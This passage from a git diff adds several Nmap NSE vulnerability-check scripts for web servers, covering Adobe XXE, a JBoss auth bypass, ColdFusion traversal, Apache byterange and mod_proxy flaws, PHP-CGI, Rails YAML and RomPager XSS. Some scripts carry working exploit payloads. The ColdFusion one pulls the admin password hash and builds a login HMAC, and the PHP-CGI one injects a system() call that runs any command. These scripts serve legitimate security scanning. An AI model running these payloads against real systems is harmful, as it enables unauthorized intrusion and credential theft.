+ },
+ description = [[
+Permits to read local files remotely and is present in
+BlazeDS 3.2 and earlier, LiveCycle 8.0.1, 8.2.1, and 9.0, LiveCycle Data
+Services 2.5.1, 2.6.1, and 3.0, Flex Data Services 2.0.1, and
+ColdFusion 7.0.2, 8.0, 8.0.1, and 9.0]],
+ references = {
+ 'http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf',
+ 'https://www.securityfocus.com/bid/38197'
+ },
+ dates = {
+ disclosure = {year = '2010', month = '02', day = '15'},
+ },
+ exploit_results = {},
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ http_vuln.state = vulns.STATE.NOT_VULN
+
+ for _,path in pairs(paths) do
+ local uri = root .. path
+ local response = http.post(host, port, uri, options, nil, exploit)
+
+ if response.status == 200 then
+ if #response.body >= matchsize and
+ string.sub(response.body,1,string.len(matchstart))==matchstart and
+ string.sub(response.body,-string.len(matchend))==matchend and
+ string.match(response.body, matchnotvuln)==nil
+ then
+ table.insert(results, {'File: ' .. readfile .. ' extracted via ' .. path .. '\n\n',{response.body}})
+ http_vuln.extra_info = stdnse.format_output(true, results)
+ http_vuln.state = vulns.STATE.EXPLOIT
+ end
+ end
+ end
+
+ return report:make_output(http_vuln)
+end
diff --git a/scripts/http-vuln-cve2010-0738.nse b/scripts/http-vuln-cve2010-0738.nse
new file mode 100644
index 0000000..d9d4161
--- /dev/null
+++ b/scripts/http-vuln-cve2010-0738.nse
@@ -0,0 +1,79 @@
+description = [[
+Tests whether a JBoss target is vulnerable to jmx console authentication bypass (CVE-2010-0738).
+
+It works by checking if the target paths require authentication or redirect to a login page that could be
+bypassed via a HEAD request. RFC 2616 specifies that the HEAD request should be treated exactly like GET but
+with no returned response body. The script also detects if the URL does not require authentication at all.
+
+For more information, see:
+* CVE-2010-0738 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0738
+* http://www.imperva.com/resources/glossary/http_verb_tampering.html
+* https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
+
+]]
+
+---
+-- @usage
+-- nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-vuln-cve2010-0738:
+-- |_ /jmx-console/: Authentication bypass.
+--
+-- @args http-vuln-cve2010-0738.paths Array of paths to check. Defaults
+-- to <code>{"/jmx-console/"}</code>.
+
+author = "Hani Benhabiles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "auth", "vuln"}
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+portrule = shortport.http
+
+action = function(host, port)
+ local paths = stdnse.get_script_args(SCRIPT_NAME..".paths")
+ local result = {}
+
+ -- convert single string entry to table
+ if ( "string" == type(paths) ) then
+ paths = { paths }
+ end
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, _ = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ -- fallback to jmx-console
+ paths = paths or {"/jmx-console/"}
+
+ for _, path in ipairs(paths) do
+ local getstatus = http.get(host, port, path).status
+
+ -- Checks if HTTP authentication or a redirection to a login page is applied.
+ if getstatus == 401 or getstatus == 302 then
+ local headstatus = http.head(host, port, path).status
+ if headstatus == 500 and path == "/jmx-console/" then
+ -- JBoss authentication bypass.
+ table.insert(result, ("%s: Vulnerable to CVE-2010-0738."):format(path))
+ elseif headstatus == 200 then
+ -- Vulnerable to authentication bypass.
+ table.insert(result, ("%s: Authentication bypass possible"):format(path))
+ end
+ -- Checks if no authentication is required for Jmx console
+ -- which is default configuration and common.
+ elseif getstatus == 200 then
+ table.insert(result, ("%s: Authentication was not required"):format(path))
+ end
+ end
+
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/http-vuln-cve2010-2861.nse b/scripts/http-vuln-cve2010-2861.nse
new file mode 100644
index 0000000..9b48c04
--- /dev/null
+++ b/scripts/http-vuln-cve2010-2861.nse
@@ -0,0 +1,143 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local vulns = require "vulns"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Executes a directory traversal attack against a ColdFusion
+server and tries to grab the password hash for the administrator user. It
+then uses the salt value (hidden in the web page) to create the SHA1
+HMAC hash that the web server needs for authentication as admin. You can
+pass this value to the ColdFusion server as the admin without cracking
+the password hash.
+]]
+
+---
+-- @see http-adobe-coldfusion-apsa1301.nse
+-- @see http-coldfusion-subzero.nse
+-- @see http-vuln-cve2009-3960.nse
+--
+-- @usage
+-- nmap --script http-vuln-cve2010-2861 <host>
+--
+-- @output
+-- 80/tcp open http
+-- | http-vuln-cve2010-2861:
+-- | VULNERABLE:
+-- | Adobe ColdFusion enter.cfm Traversal password.properties Information Disclosure
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2010-2861 BID:42342
+-- | Description:
+-- | Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion
+-- | 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter
+-- | Disclosure date: 2010-08-10
+-- | Extra information:
+-- |
+-- | ColdFusion8
+-- | HMAC: d6914bef568f8931d0c696cd5f7748596f97db5d
+-- | Salt: 1329446896585
+-- | Hash: 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
+-- |
+-- | References:
+-- | http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking
+-- | https://www.tenable.com/plugins/nessus/48340
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-2861
+-- | https://nvd.nist.gov/vuln/detail/CVE-2010-2861
+-- |_ https://www.securityfocus.com/bid/42342
+--
+--
+-- This script relies on the service being identified as HTTP or HTTPS. If the
+-- ColdFusion server you run this against is on a port other than 80/tcp or 443/tcp
+-- then use "nmap -sV" so that nmap discovers the port as an HTTP server.
+
+author = "Micah Hoffman"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+
+ local vuln = {
+ title = 'Adobe ColdFusion Directory Traversal Vulnerability',
+ state = vulns.STATE.NOT_VULN, -- default
+ IDS = {CVE = 'CVE-2010-2861', BID = '42342'},
+ description = [[
+Multiple directory traversal vulnerabilities in the administrator console
+in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the
+locale parameter]],
+ references = {
+ 'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking',
+ 'https://nvd.nist.gov/vuln/detail/CVE-2010-2861',
+ 'https://www.securityfocus.com/bid/42342',
+ 'https://www.tenable.com/plugins/nessus/48340',
+ },
+ dates = {
+ disclosure = {year = '2010', month = '08', day = '10'},
+ },
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ -- Function to do the look up and return content
+ local grabAndGrep = function(page)
+ -- Do the HTTP GET request for the page
+ local response = http.get(host, port, page)
+ -- Check to see if we get a good page returned
+ -- Is there no response?
+ if ( not(response.status) ) then
+ return false, "Received no response from HTTP server"
+ end
+
+ -- Is the response not an HTTP 200 code?
+ if ( response.status ~= 200 ) then
+ return false, ("The server returned an unexpected response (%d)"):format(response.status )
+ end
+
+ -- Now check the body for our strings
+ if ( response.body ) then
+ local saltcontent = response.body:match("salt.*value=\"(%d+)")
+ local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password
+
+ -- If a page has both the salt and the password in it then the exploit has been successful
+ if ( saltcontent and hashcontent ) then
+ vuln.state = vulns.STATE.EXPLOIT
+ -- Generate HMAC as this is what the web application needs for authentication as admin
+ local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper()
+ --return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent)
+ local result = {
+ ("HMAC: %s"):format(hmaccontent),
+ ("Salt: %s"):format(saltcontent),
+ ("Hash: %s"):format(hashcontent)
+ }
+ return true, result
+ end
+ end
+ return false, "Not vulnerable"
+ end
+
+ local exploits = {
+ ['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en',
+ ['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en',
+ ['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en',
+ ['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en',
+ }
+
+ local results = {}
+ for prod, exploit in pairs(exploits) do
+ local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit)
+ if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then
+ if ( "string" == type(result) ) then
+ result = { result }
+ end
+ result.name = prod
+ table.insert(results, result )
+ end
+ end
+ vuln.extra_info=stdnse.format_output(true, results)
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/http-vuln-cve2011-3192.nse b/scripts/http-vuln-cve2011-3192.nse
new file mode 100644
index 0000000..bbbf2a7
--- /dev/null
+++ b/scripts/http-vuln-cve2011-3192.nse
@@ -0,0 +1,128 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+
+description = [[
+Detects a denial of service vulnerability in the way the Apache web server
+handles requests for multiple overlapping/simple ranges of a page.
+
+References:
+* https://seclists.org/fulldisclosure/2011/Aug/175
+* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
+* https://www.tenable.com/plugins/nessus/55976
+]]
+
+---
+-- @see http-slowloris-check.nse
+-- @see http-slowloris.nse
+--
+-- @usage
+-- nmap --script http-vuln-cve2011-3192.nse [--script-args http-vuln-cve2011-3192.hostname=nmap.scanme.org] -pT:80,443 <host>
+--
+-- @output
+-- Host script results:
+-- | http-vuln-cve2011-3192:
+-- | VULNERABLE:
+-- | Apache byterange filter DoS
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2011-3192 BID:49303
+-- | Description:
+-- | The Apache web server is vulnerable to a denial of service attack when numerous
+-- | overlapping byte ranges are requested.
+-- | Disclosure date: 2011-08-19
+-- | References:
+-- | https://seclists.org/fulldisclosure/2011/Aug/175
+-- | https://www.tenable.com/plugins/nessus/55976
+-- | https://www.securityfocus.com/bid/49303
+-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
+--
+-- @args http-vuln-cve2011-3192.hostname Define the host name to be used in the HEAD request sent to the server
+-- @args http-vuln-cve2011-3192.path Define the request path
+
+-- changelog
+-- 2011-08-29 Duarte Silva <duarte.silva@serializing.me>
+-- - Removed the "Accept-Encoding" HTTP header
+-- - Removed response header printing
+-- * Changes based on Henri Doreau and David Fifield suggestions
+-- 2011-08-20 Duarte Silva <duarte.silva@serializing.me>
+-- * First version ;)
+-- 2011-11-07 Henri Doreau
+-- * Use the vulns library to report results
+-----------------------------------------------------------------------
+
+author = "Duarte Silva <duarte.silva@serializing.me>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+ local vuln = {
+ title = 'Apache byterange filter DoS',
+ state = vulns.STATE.NOT_VULN, -- default
+ IDS = {CVE = 'CVE-2011-3192', BID = '49303'},
+ description = [[
+The Apache web server is vulnerable to a denial of service attack when numerous
+overlapping byte ranges are requested.]],
+ references = {
+ 'https://seclists.org/fulldisclosure/2011/Aug/175',
+ 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192',
+ 'https://www.tenable.com/plugins/nessus/55976',
+ },
+ dates = {
+ disclosure = {year = '2011', month = '08', day = '19'},
+ },
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local hostname, path = stdnse.get_script_args('http-vuln-cve2011-3192.hostname',
+ 'http-vuln-cve2011-3192.path')
+
+ if not path then
+ path = '/'
+
+ stdnse.debug1("Setting the request path to '/' since 'http-vuln-cve2011-3192.path' argument is missing.")
+ end
+
+ -- This first request will try to get a code 206 reply from the server by
+ -- sending the innocuous header "Range: byte=0-100" in order to detect
+ -- whether this functionality is available or not.
+ local request_opts = {
+ header = {
+ Range = "bytes=0-100",
+ Connection = "close"
+ },
+ bypass_cache = true
+ }
+
+ if hostname then
+ request_opts.header.Host = hostname
+ end
+
+ local response = http.head(host, port, path, request_opts)
+
+ if not response.status then
+ stdnse.debug1("Functionality check HEAD request failed for %s (with path '%s').", hostname or host.ip, path)
+ elseif response.status == 206 then
+ -- The server handle range requests. Now try to request 11 ranges (one more
+ -- than allowed).
+ -- Vulnerable servers will reply with another code 206 response. Patched
+ -- ones will return a code 200.
+ request_opts.header.Range = "bytes=1-0,0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
+
+ response = http.head(host, port, path, request_opts)
+
+ if not response.status then
+ stdnse.debug1("Invalid response from server to the vulnerability check")
+ elseif response.status == 206 then
+ vuln.state = vulns.STATE.VULN
+ else
+ stdnse.debug1("Server isn't vulnerable (%i status code)", response.status)
+ end
+ else
+ stdnse.debug1("Server ignores the range header (%i status code)", response.status)
+ end
+ return vuln_report:make_output(vuln)
+end
+
diff --git a/scripts/http-vuln-cve2011-3368.nse b/scripts/http-vuln-cve2011-3368.nse
new file mode 100644
index 0000000..e60f1f5
--- /dev/null
+++ b/scripts/http-vuln-cve2011-3368.nse
@@ -0,0 +1,160 @@
+local http = require "http"
+local os = require "os"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+local rand = require "rand"
+
+description = [[
+Tests for the CVE-2011-3368 (Reverse Proxy Bypass) vulnerability in Apache HTTP server's reverse proxy mode.
+The script will run 3 tests:
+* the loopback test, with 3 payloads to handle different rewrite rules
+* the internal hosts test. According to Contextis, we expect a delay before a server error.
+* The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
+
+References:
+* http://www.contextis.com/research/blog/reverseproxybypass/
+]]
+
+---
+-- @usage
+-- nmap --script http-vuln-cve2011-3368 <targets>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-vuln-cve2011-3368:
+-- | VULNERABLE:
+-- | Apache mod_proxy Reverse Proxy Security Bypass
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2011-3368 BID:49957
+-- | Description:
+-- | An exposure was reported affecting the use of Apache HTTP Server in
+-- | reverse proxy mode. The exposure could inadvertently expose internal
+-- | servers to remote users who send carefully crafted requests.
+-- | Disclosure date: 2011-10-05
+-- | Extra information:
+-- | Proxy allows requests to external websites
+-- | References:
+-- | https://www.securityfocus.com/bid/49957
+-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368
+--
+-- @args http-vuln-cve2011-3368.prefix sets the path prefix (directory) to check for the vulnerability.
+--
+
+author = {"Ange Gutek", "Patrik Karlsson"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln"}
+
+
+
+portrule = shortport.http
+
+action = function(host, port)
+
+ local vuln = {
+ title = 'Apache mod_proxy Reverse Proxy Security Bypass',
+ IDS = { CVE='CVE-2011-3368', BID='49957'},
+ description = [[
+An exposure was reported affecting the use of Apache HTTP Server in
+reverse proxy mode. The exposure could inadvertently expose internal
+servers to remote users who send carefully crafted requests.]],
+ references = { 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' },
+ dates = {
+ disclosure = { year='2011', month='10', day='05'}
+ },
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or ""
+
+ -- Take a reference chrono for a 404
+ local start = os.time(os.date('*t'))
+ local random_page = rand.random_alpha(20)
+ local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page))
+ local chrono_404 = os.time(os.date('*t'))-start
+
+ -- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules
+ local all
+ all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all)
+ all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all)
+ all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all)
+
+ local bypass_request = http.pipeline_go(host,port, all)
+ if ( not(bypass_request) ) then
+ stdnse.debug1("got no answers from pipelined queries")
+ return stdnse.format_output(false, "Got no answers from pipelined queries")
+ end
+
+
+ -- going through the results of TEST 1 we could see
+ -- * 200 OK
+ -- o This could be the result of the server being vulnerable
+ -- o This could also be the result of a generic error page
+ -- * 40X Error
+ -- o This is most likely the result of the server NOT being vulnerable
+ --
+ -- We can not determine whether the server is vulnerable or not solely
+ -- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue
+ local got_200_ok
+ for _, response in ipairs(bypass_request) do
+ if ( response.status == 200 ) then
+ got_200_ok = true
+ end
+ end
+
+ -- if we didn't get at least one 200 OK, the server is most like NOT vulnerable
+ if ( not(got_200_ok) ) then
+ vuln.state = vulns.STATE.NOT_VULN
+ return report:make_output(vuln)
+ end
+
+ for i=1, #bypass_request, 1 do
+ stdnse.debug1("test %d returned a %d",i,bypass_request[i].status)
+
+ -- here a 400 should be the evidence for a patched server.
+ if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then
+
+ -- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error.
+ -- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses
+ local tests = {
+ { prefix = "", suffix = "" },
+ { prefix = ":", suffix = ""},
+ { prefix = ":", suffix = ":80"}
+ }
+
+ -- try a bunch of hosts, and hope we hit one that's
+ -- not on the network, this will give us the delay we're expecting
+ local hosts = {
+ "10.10.10.10",
+ "192.168.211.211",
+ "172.16.16.16"
+ }
+
+ -- perform one request for each host, and stop once we
+ -- receive a timeout for one of them
+ for _, h in ipairs(hosts) do
+ local response = http.get(
+ host,
+ port,
+ ("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix),
+ { timeout = ( chrono_404 + 5 ) * 1000 }
+ )
+ -- check if the GET timed out
+ if ( not(response.status) ) then
+ vuln.state = vulns.STATE.VULN
+ break
+ end
+ end
+ end
+ end
+
+ -- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
+ local external = http.get(host,port, ("%s@scanme.nmap.org"):format(prefix))
+ if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then
+ vuln.extra_info = "Proxy allows requests to external websites"
+ end
+ return report:make_output(vuln)
+end
+
diff --git a/scripts/http-vuln-cve2012-1823.nse b/scripts/http-vuln-cve2012-1823.nse
new file mode 100644
index 0000000..b9a41a0
--- /dev/null
+++ b/scripts/http-vuln-cve2012-1823.nse
@@ -0,0 +1,102 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
+Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This
+critical vulnerability allows attackers to retrieve source code and execute
+code remotely.
+
+The script works by appending "?-s" to the uri to make vulnerable php-cgi
+handlers return colour syntax highlighted source. We use the pattern "<span
+style=.*>&lt;?" to detect
+vulnerable installations.
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-vuln-cve2012-1823 <target>
+-- nmap -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/test.php <target>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-vuln-cve2012-1823:
+-- | VULNERABLE:
+-- | PHP-CGI Remote code execution and source code disclosure
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:2012-1823
+-- | Description:
+-- | According to PHP's website, "PHP is a widely-used general-purpose
+-- | scripting language that is especially suited for Web development and
+-- | can be embedded into HTML." When PHP is used in a CGI-based setup
+-- | (such as Apache's mod_cgid), the php-cgi receives a processed query
+-- | string parameter as command line arguments which allows command-line
+-- | switches, such as -s, -d or -c to be passed to the php-cgi binary,
+-- | which can be exploited to disclose source code and obtain arbitrary
+-- | code execution.
+-- | Disclosure date: 2012-05-03
+-- | Extra information:
+-- | Proof of Concept:/index.php?-s
+-- | References:
+-- | http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
+-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
+-- |_ http://ompldr.org/vZGxxaQ
+--
+-- @args http-vuln-cve2012-1823.uri URI. Default: /index.php
+-- @args http-vuln-cve2012-1823.cmd CMD. Default: uname -a
+---
+
+author = {"Paulino Calderon <calderon@websec.mx>", "Paul AMAR <aos.paul@gmail.com>"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln","intrusive"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
+ local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or "uname -a"
+
+ local vuln = {
+ title = 'PHP-CGI Remote code execution and source code disclosure',
+ state = vulns.STATE.NOT_VULN, -- default
+ IDS = {CVE = '2012-1823'},
+ description = [[
+According to PHP's website, "PHP is a widely-used general-purpose
+scripting language that is especially suited for Web development and
+can be embedded into HTML." When PHP is used in a CGI-based setup
+(such as Apache's mod_cgid), the php-cgi receives a processed query
+string parameter as command line arguments which allows command-line
+switches, such as -s, -d or -c to be passed to the php-cgi binary,
+which can be exploited to disclose source code and obtain arbitrary
+code execution.]],
+ references = {
+ 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/',
+ 'http://ompldr.org/vZGxxaQ',
+ },
+ dates = {
+ disclosure = {year = '2012', month = '05', day = '03'},
+ },
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ stdnse.debug2("Trying detection using echo command")
+ local detection_session = http.post(host, port, uri.."?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", { no_cache = true }, nil, "<?php system('echo NmapCVEIdentification');die(); ?>")
+ if detection_session and detection_session.status == 200 then
+ if string.match(detection_session.body, "NmapCVEIdentification") then
+ stdnse.debug1("The website seems vulnerable to CVE-2012-1823.")
+ else
+ return
+ end
+ end
+
+ stdnse.debug2("Trying Command... " .. cmd)
+ local exploitation_session = http.post(host, port, uri.."?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", { no_cache = true }, nil, "<?php system('"..cmd.."');die(); ?>")
+ if exploitation_session and exploitation_session.status == 200 then
+ stdnse.debug1("Ouput of the command " .. cmd .. " : \n"..exploitation_session.body)
+ vuln.state = vulns.STATE.EXPLOIT
+ return vuln_report:make_output(exploitation_session.body)
+ end
+end
diff --git a/scripts/http-vuln-cve2013-0156.nse b/scripts/http-vuln-cve2013-0156.nse
new file mode 100644
index 0000000..e112dec
--- /dev/null
+++ b/scripts/http-vuln-cve2013-0156.nse
@@ -0,0 +1,123 @@
+description = [[
+Detects Ruby on Rails servers vulnerable to object injection, remote command
+executions and denial of service attacks. (CVE-2013-0156)
+
+All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before
+3.1.10, and 3.2.x before 3.2.11 are vulnerable. This script sends 3 harmless
+YAML payloads to detect vulnerable installations. If the malformed object
+receives a status 500 response, the server is processing YAML objects and
+therefore is likely vulnerable.
+
+References:
+* https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156',
+* https://groups.google.com/forum/?fromgroups=#!msg/rubyonrails-security/61bkgvnSGTQ/nehwjA8tQ8EJ',
+* http://cvedetails.com/cve/2013-0156/
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-vuln-cve2013-0156 <target>
+-- nmap -sV --script http-vuln-cve2013-0156 --script-args uri="/test/" <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-vuln-cve2013-0156:
+-- | VULNERABLE:
+-- | Parameter parsing vulnerabilities in several versions of Ruby on Rails allow object injection, remote command execution and Denial Of Service attacks (CVE-2013-0156)
+-- | State: VULNERABLE
+-- | Risk factor: High
+-- | Description:
+-- | All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable to object injection, remote command execution and denial of service attacks.
+-- | The attackers don't need to be authenticated to exploit these vulnerabilities.
+-- |
+-- | References:
+-- | https://groups.google.com/forum/?fromgroups=#!msg/rubyonrails-security/61bkgvnSGTQ/nehwjA8tQ8EJ
+-- | https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156
+-- |_ http://cvedetails.com/cve/2013-0156/
+--
+-- @args http-vuln-cve2013-0156.uri Basepath URI (default: /).
+---
+
+-- TODO:
+-- * Add argument to exploit cmd exec vuln
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln"}
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+
+portrule = shortport.http
+
+local PAYLOAD_OK = [=[<?xml version="1.0" encoding="UTF-8"?>
+<probe type="string"><![CDATA[
+nmap
+]]></probe>]=]
+
+local PAYLOAD_TIME = [=[<?xml version="1.0" encoding="UTF-8"?>
+<probe type="yaml"><![CDATA[
+--- !ruby/object:Time {}
+
+]]></probe>]=]
+
+local PAYLOAD_MALFORMED = [=[<?xml version="1.0" encoding="UTF-8"?>
+<probe type="yaml"><![CDATA[
+--- !ruby/object:^@
+]]></probe>
+]=]
+
+---
+--detect(host, port, uri)
+--Sends 3 payloads where one of them is malformed. Status 500 indicates that yaml parsing is enabled.
+---
+local function detect(host, port, uri)
+ local opts = {header={}}
+ opts["header"]["Content-type"] = 'application/xml'
+
+ local req_ok = http.post(host, port, uri, opts, nil, PAYLOAD_OK)
+ local req_time = http.post(host, port, uri, opts, nil, PAYLOAD_TIME)
+ stdnse.debug2("First request returned status %d. Second request returned status %d", req_ok.status, req_time.status)
+ if req_ok.status == 200 and req_time.status == 200 then
+ local req_malformed = http.post(host, port, uri, opts, nil, PAYLOAD_MALFORMED)
+ stdnse.debug2("Malformed request returned status %d", req_malformed.status)
+ if req_malformed.status == 500 then
+ return true
+ end
+ end
+
+ return false
+end
+
+---
+--MAIN
+action = function(host, port)
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
+ local vuln_table = {
+ title = "Parameter parsing vulnerabilities in several versions of Ruby on Rails allow object injection, remote command execution and Denial Of Service attacks (CVE-2013-0156)",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ description = [[
+All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable to object injection, remote command execution and denial of service attacks.
+The attackers don't need to be authenticated to exploit these vulnerabilities.
+]],
+
+ references = {
+ 'https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156',
+ 'https://groups.google.com/forum/?fromgroups=#!msg/rubyonrails-security/61bkgvnSGTQ/nehwjA8tQ8EJ',
+ 'http://cvedetails.com/cve/2013-0156/',
+ }
+ }
+
+ if detect(host,port,uri) then
+ stdnse.debug1("Received status 500 as expected in vulnerable installations. Marking as vulnerable...")
+ vuln_table.state = vulns.STATE.VULN
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ return report:make_output(vuln_table)
+ end
+
+ return nil
+end
diff --git a/scripts/http-vuln-cve2013-6786.nse b/scripts/http-vuln-cve2013-6786.nse
new file mode 100644
index 0000000..851e6b0
--- /dev/null
+++ b/scripts/http-vuln-cve2013-6786.nse
@@ -0,0 +1,78 @@
+description = [[
+Detects a URL redirection and reflected XSS vulnerability in Allegro RomPager
+Web server. The vulnerability has been assigned CVE-2013-6786.
+
+The check is general enough (script tag injection via Referer header) that some
+other software may be vulnerable in the same way.
+]]
+
+---
+-- @see http-vuln-misfortune-cookie.nse
+--
+-- @usage nmap -p80 --script http-vuln-cve2013-6786 <target>
+-- @usage nmap -sV http-vuln-cve2013-6786 <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-vuln-cve2013-6786:
+-- | VULNERABLE:
+-- | URL redirection and reflected XSS vulnerability in Allegro RomPager Web server
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2013-6786
+-- |
+-- | Devices based on Allegro RomPager web server are vulnerable to URL redirection
+-- | and reflected XSS. If Referer header in a request to a non existing page, data
+-- | can be injected into the resulting 404 page. This includes linking to an
+-- | untrusted website and XSS injection.
+-- | Disclosure date: 2013-07-1
+-- | References:
+-- |_ https://antoniovazquezblanco.github.io/docs/advisories/Advisory_RomPagerXSS.pdf
+---
+
+author = "Vlatko Kosturjak <kost@linux.hr>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln"}
+
+local http = require "http"
+local shortport = require "shortport"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+local rand = require "rand"
+
+portrule = shortport.http
+
+action = function(host, port)
+ local vuln = {
